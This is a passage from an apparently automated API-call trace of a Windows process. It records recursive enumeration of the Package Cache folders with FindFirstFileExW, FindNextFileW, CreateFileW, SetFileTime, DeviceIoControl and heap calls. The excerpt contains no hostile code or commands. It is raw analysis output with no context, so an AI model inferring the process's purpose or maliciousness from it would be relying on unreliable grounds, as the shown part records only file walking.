ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.479] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="")) returned 1 [0092.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f3d8 [0092.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9058 [0092.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f4e0 [0092.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.482] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="")) returned 0 [0092.482] GetLastError () returned 0x12 [0092.482] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.482] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.482] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.482] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="")) returned 1 [0092.482] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="")) returned 0 [0092.482] GetLastError () returned 0x12 [0092.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.482] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f3d8) returned 1 [0092.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f1c8) returned 1 [0092.483] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0092.483] GetLastError () returned 0x12 [0092.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.483] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.484] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0092.484] GetLastError () returned 0x12 [0092.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.484] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eda8) returned 1 [0092.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eb98) returned 1 [0092.485] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.485] GetLastError () returned 0x12 [0092.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.485] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.486] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="")) returned 1 [0092.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.486] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.487] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.487] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.487] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.488] NtClose (Handle=0x17c) returned 0x0 [0092.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.489] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0092.489] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.489] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.489] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.489] GetLastError () returned 0x12 [0092.489] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.490] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.490] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.490] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eb98 [0092.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.491] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.491] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.491] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.492] NtClose (Handle=0x17c) returned 0x0 [0092.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eb98) returned 1 [0092.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eb98 [0092.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eda8 [0092.493] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0092.493] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.493] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0092.493] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0092.494] GetLastError () returned 0x12 [0092.494] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0092.494] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.494] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.494] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0092.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.495] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.495] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.496] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.496] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.496] NtClose (Handle=0x17c) returned 0x0 [0092.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.498] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9180 [0092.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0092.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0092.499] GetLastError () returned 0x12 [0092.499] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.499] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.499] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.499] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, 